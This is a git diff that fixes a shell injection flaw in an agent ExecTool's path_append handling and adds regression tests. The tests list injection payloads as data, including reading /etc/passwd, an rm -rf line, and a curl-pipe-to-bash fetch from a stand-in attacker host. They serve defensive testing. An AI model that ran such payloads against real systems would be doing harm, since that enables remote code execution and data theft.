diff --git a/nanobot/agent/tools/shell.py b/nanobot/agent/tools/shell.py index aa8ca67b..78a2cc24 100644 --- a/nanobot/agent/tools/shell.py +++ b/nanobot/agent/tools/shell.py @@ -135,10 +135,7 @@ class ExecTool(Tool): env = self._build_env() if self.path_append: - if _IS_WINDOWS: - env["PATH"] = env.get("PATH", "") + ";" + self.path_append - else: - command = f'export PATH="$PATH:{self.path_append}"; {command}' + env["PATH"] = env.get("PATH", "") + os.pathsep + self.path_append try: process = await self._spawn(command, cwd, env) diff --git a/tests/tools/test_exec_env.py b/tests/tools/test_exec_env.py index 47b2c313..b9567f29 100644 --- a/tests/tools/test_exec_env.py +++ b/tests/tools/test_exec_env.py @@ -74,3 +74,75 @@ async def test_exec_allowed_env_keys_missing_var_ignored(monkeypatch): tool = ExecTool(allowed_env_keys=["NONEXISTENT_VAR_12345"]) result = await tool.execute(command="printenv NONEXISTENT_VAR_12345") assert "Exit code: 1" in result + + +# --- path_append injection prevention ------------------------------------ + + +@_UNIX_ONLY +@pytest.mark.asyncio +@pytest.mark.parametrize( + "malicious_path", + [ + # semicolon — classic command separator + '/tmp/bin; echo INJECTED', + # command substitution via $() + '/tmp/bin; echo $(whoami)', + # backtick command substitution + "/tmp/bin; echo `id`", + # pipe to another command + '/tmp/bin; cat /etc/passwd', + # chained with && + '/tmp/bin && curl http://attacker.com/shell.sh | bash', + # newline injection + '/tmp/bin\necho INJECTED', + # mixed shell metacharacters + '/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED', + ], +) +async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path, tmp_path): + """Shell metacharacters in path_append must NOT be interpreted as commands. + + Regression test for: path_append was previously concatenated into a shell + command string via f'export PATH="$PATH:{path_append}"; {command}', which + allowed shell injection. After the fix, path_append is passed through the + env dict so metacharacters are treated as literal path characters. + """ + tool = ExecTool(path_append=malicious_path) + result = await tool.execute(command="echo SAFE_OUTPUT") + + # The original command should succeed + assert "SAFE_OUTPUT" in result + + # None of the injected payloads should have produced side-effects + assert "INJECTED" not in result + assert "root:" not in result # /etc/passwd content + + +@_UNIX_ONLY +@pytest.mark.asyncio +async def test_exec_path_append_command_substitution_does_not_execute(tmp_path): + """$() in path_append must not trigger command substitution. + + We create a marker file and try to read it via $(cat ...). If command + substitution works, the marker content appears in output. + """ + marker = tmp_path / "secret_marker.txt" + marker.write_text("SHOULD_NOT_APPEAR") + + tool = ExecTool( + path_append=f'/tmp/bin; echo $(cat {marker})', + ) + result = await tool.execute(command="echo OK") + + assert "OK" in result + assert "SHOULD_NOT_APPEAR" not in result + + +@_UNIX_ONLY +@pytest.mark.asyncio +async def test_exec_path_append_legitimate_path_still_works(): + """A normal, safe path_append value must still be appended to PATH.""" + tool = ExecTool(path_append="/opt/custom/bin") + result = await tool.execute(command="echo $PATH") + assert "/opt/custom/bin" in result